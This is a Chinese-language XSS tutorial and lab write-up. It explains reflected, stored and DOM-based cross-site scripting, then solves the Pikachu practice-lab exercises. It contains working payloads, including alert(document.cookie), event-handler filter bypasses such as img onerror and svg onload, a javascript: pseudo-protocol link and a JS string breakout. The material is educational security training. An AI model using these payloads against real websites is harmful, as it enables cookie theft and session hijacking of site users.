XSS漏洞-跨站指令碼攻擊
XSS的原理
跨站指令碼攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意Script程式碼,當使用者瀏覽該頁面時,嵌入Web裡面的Script程式碼會被執行,從而達到惡意攻擊使用者的目的。XSS攻擊針對的是使用者層面的攻擊!
XSS的分類
- 反射型:非持久化,且需要使用釣魚等手段欺騙使用者點選惡意連結才能觸發惡意程式碼。一般反射型 XSS 會出現在搜尋頁面,且大多數是用來獲取使用者的 cookie 資訊的。雖然影響範圍最大的是儲存型的 XSS,但是現在針對儲存型 XSS 的防禦非常完備,所以在利用上,反射型的利用率還是比儲存型高些。
攻擊流程:
1. 攻擊者傳送帶有XSS惡意的指令碼連結給客戶(該連結是正常伺服器存在注入點的連結,且帶著我們注入的內容)
2. 客戶點選了惡意連結並訪問了正常伺服器
3. 伺服器將XSS與頁面資訊返回客戶端
4. 客戶端解析後請求惡意伺服器
5. 攻擊者讀取使用者資訊
-
儲存型:儲存型的 XSS,最大的特點是可持久化,因為在過濾條件差的情況下,儲存型的 XSS 的惡意程式碼會直接被儲存在伺服器端的資料庫中。而這個惡意程式碼被伺服器讀出輸出到使用者端的Web頁面時,惡意程式碼會執行,從而達到攻擊的目的。可以說儲存型 XSS 是影響範圍最大的 XSS。通常出現在評論、文章發表等可由使用者輸入,並隨著伺服器讀出的地方,容易造成蠕蟲,盜竊cookie等嚴重影響。
攻擊流程: 1. 攻擊者在正常伺服器中注入XSS程式碼,且被伺服器儲存在了資料庫中 2. 使用者在網站登入狀態下,訪問了惡意伺服器,且瀏覽了存在惡意指令碼的頁面 3. 正常伺服器將頁面資訊與XSS指令碼一同返回 4. 客戶端解析了頁面資訊與XSS指令碼程式碼,這時指令碼程式碼會被執行,甚至會向攻擊者的惡意伺服器主動發起請求 5. 此時,攻擊者就可以從自己的惡意伺服器中讀取使用者資料
-
DOM型:DOM 型的 XSS 注入與反射型原理類似,只不過 DOM 型的 XSS 注入不需要經過後端程式碼處理,而是在前端 JavaScript 呼叫 DOM 元素時可能產生的漏洞,可能觸發 DOM 型 XSS 的 JavaScript 程式碼:
document.referer 返回跳轉或開啟到當前頁面的頁面的URI window.name 可設定或返回存放視窗的名稱的一個字串 location 可以設定視窗跳轉或者返回當前視窗的地址 innerHTML 內嵌HTML程式碼 documen.write 頁面內寫入字元
常見的html標籤以及過濾
XSS過濾繞過總結 - 隨風kali - 部落格園 (cnblogs.com)
CTF-賽題
Pikachu Xss 反射型(GET)
本想直接輸入彈窗程式碼,讓他彈窗的,發現長度有了限制,然後就看看是不是前端有限制。同時抓包也發現自己所寫的東西被直接嵌入在html的程式碼當中。
<script>alert(1)</script>
F12審查元素,發現的確是前端限制了輸入的長度,我們可以進行更改為長度100,然後再插入程式碼
成功了,成功彈窗 1
Pikachu Xss 反射型(POST)
這一題就是先登入,登入可以參考暴力破解登入,登入後就是一個注入點,可以直接嘗試注入
<script>alert(document.cookie)</script>
然後就得到了這個admin使用者的cookie值
Pikachu Xss 儲存型
這一題開啟就是一個留言框,由前置知識瞭解到,這些留言板可以當作儲存型Xss注入的注入點,我們可以寫下惡意程式碼,當其他使用者訪問這個留言板,我們的惡意程式碼會直接觸發。
接下來我插入程式碼:
<script>alert(document.cookie)</script>
接下來我們重新整理網站看看會發生怎麼個事
我們的cookie資訊被觸發了,這就是儲存型的Xss
Pikachu Xss DOM型
首先讓他彈窗一下吧,我先試試,發現不行,回顯what do you see?
<script>alert(1)</script>
DOM型別瞭解到主要是js程式碼,所以我們cirl + u 檢視原始碼,搜尋what do you see,快速定位
裡面有一些提示,payload也是直接告訴我們了,所以我們需要去分析這一串程式碼
他是將我們輸入的字串,拼接在a標籤前面,最後輸出what do you see
我輸入的payload是將a標籤閉合,然後用img標籤去觸發xss
'><img src=1 onerror=alert("xss");>
完整的回顯如下:
<a href=''><img src=1 onerror=alert("xss");>'what do you see?</a>
Pikachu Xss DOM型(xss-x)
首先輸入程式碼:
<script>alert(1);</script>
回顯是一個超連結
點選emo語句之後,就出現了釋懷語句
因為是DOM型,我們就用這個釋懷語句,去原始碼處搜尋一下,到底怎麼個事兒。
果然發現了js程式碼,程式碼邏輯就是點選了emo語句後,他會執行我們輸入的字串和emo語句的拼接,這時候就是閉合語句,執行xss注入。
我們注入的payload如下:
' onclick="alert('hhhhhhhhh')">
注意這裡alert是由雙引號包裹,而alert裡面的內容則是單引號,這倆得不一樣,我也不太清楚為什麼
Pikachu Xss (過濾)
這道題試了試,被過濾了,然後參考html的標籤,過濾的各種繞過
paylaod:
<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 onerror=alert("xss");>
<svg onload=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')">
Pikachu Xss (htmlspecialchars)
輸入 payload嘗試一下:
'><img src=1 onerror=alert("xss");>
回顯是一個超連結,那我們就開啟原始碼進行檢視,搜記錄這個關鍵詞
開啟後就是看不懂的一堆程式碼,開始去搜htmlspecialchars這個函式方法
很符合這個題目,並且發現了單引號並沒有過濾。所有就有了下面的payload
' onclick='alert(1)’
但是接下來我又嘗試瞭如下的:
' onclick='alert("xss")
也是成功了,我也是有點暈,這個雙引號怎麼就可以用了,也是不太懂。
Pikachu Xss (href輸出)
'><img src=1 onerror=alert("xss");>
還是老套路代入,發現一個超連結,開始原始碼搜尋;
發現都被過濾掉了,這道題的提示如下:
這裡補充一點兒java的偽協議的知識
java偽協議
"javascript:" 協議是一種能夠在 URL 中嵌入 JavaScript 程式碼並執行的協議。當瀏覽器遇到一個包含 "javascript:" 的 URL 時,它會將後面的程式碼提取出來並在當前頁面環境中執行。這就意味著我們可以透過 URL 來呼叫 JavaScript 函式或者執行一些 JavaScript 程式碼塊。
將javascript程式碼新增到客戶端的方法是把它放置在偽協議說明符javascript:後的URL中。這個特殊的協議型別宣告瞭URL的主體是任意的javascript程式碼,它由javascript的直譯器執行。如果javascript:URL中的javascript程式碼含有多個語句,必須使用分號將這些語句分隔開。
接下來回到題目,讓我們用偽協議的方式去嘗試一下xss的注入
javascript:alert("xss")
Pikachu Xss (js輸出)
我輸入了一個:
haha
然後檢視原始碼,發現自己輸入的被代入到js程式碼當中
我們的輸入的內容被直接當作變數
我們可以將其閉合,然後註釋掉後面,所以payload:
';alert('xss');//
成功注入。